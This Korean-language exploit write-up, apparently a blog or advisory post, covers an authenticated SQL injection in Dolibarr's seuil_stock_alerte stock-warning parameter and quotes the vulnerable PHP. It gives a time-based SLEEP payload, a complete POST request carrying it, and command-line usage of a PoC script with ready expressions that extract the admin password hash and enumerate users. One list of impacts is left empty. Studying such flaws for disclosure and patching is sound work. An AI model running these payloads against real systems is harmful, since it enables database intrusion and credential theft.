
창고별 재고 경고 임계값(`seuil_stock_alerte`)을 설정하는 작업이 사용자 제어 입력을 받아들이고, 이후 적절한 숫자 형변환 또는 매개변수 바인딩 없이 이를 SQL 쿼리에 포함시킵니다. #dolibarr #exploit
seuil_stock_alerte 파라미터를 통해 제품 재고 관리 기능에 영향을 미치는 SQL 인젝션입니다.
다음 버전에서 테스트 및 확인되었습니다:
seuil_stock_alerte
이 파라미터는 다음에서 허용됩니다:
/product/stock/product.php
addlimitstockwarehouse 액션을 사용합니다.
이 파라미터는 숫자 변환 없이 검색됩니다:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
이후 직접 문자열 연결을 통해 SQL 문에 도달합니다:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
값이 따옴표로 묶이지 않은 숫자 컨텍스트에 삽입되므로, 일반 숫자 값 대신 SQL 표현식을 제공할 수 있습니다.
불리언/시간 기반 표현식만으로도 실행을 입증하기에 충분합니다:
(SELECT IF((1=1),SLEEP(15),0))
예시 파라미터:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
성공적인 요청은 약 15초의 HTTP 응답 지연을 발생시키며, 이는 주입된 SQL 표현식의 평가를 확인시켜 줍니다.
취약한 액션은 다음과 유사한 인증된 요청으로 도달할 수 있습니다:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
요구 사항:
이 문제는 다음 권한만 가진 인증된 계정으로 재현되었습니다:
Product → Create (produit/creer)
권한 — 제품을 생성할 수 있는 낮은 권한의 계정입니다.
이 SQL 인젝션은 다음을 가능하게 합니다:
이 시스템의 데이터베이스 수준 제약으로 인해 직접적인 OS 명령 실행은 방지되었습니다.
함께 제공되는 PoC 스크립트 stock_sqli_poc.py는 익스플로잇 과정을 자동화합니다:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| 옵션 | 기본값 | 설명 |
|---|---|---|
--url | http://127.0.0.1:8088 | 대상 Dolibarr 인스턴스 URL |
--proxy | http://127.0.0.1:8080 | HTTP 프록시 (Burp 등). 비활성화하려면 빈 문자열로 설정 |
--login | webeditor | 낮은 권한 계정의 사용자 이름 |
--password | WebEdit0r! | 계정 비밀번호 |
--product-id | 1 | 대상 제품 ID |
--warehouse-id | 1 | 대상 창고 ID |
--delay | 1.0 | 시간 기반 탐지를 위한 SLEEP 지속 시간(초) |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | 유출할 SQL 표현식 |
--length | 14 | 추출할 최대 문자 길이 |
관리자 비밀번호 해시 추출:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
사용자 열거:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
데이터베이스 버전:
--extract "VERSION()"
현재 데이터베이스 사용자:
--extract "USER()"
⚠️ 법적 고지: 이 익스플로잇은 명시적인 서면 승인을 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.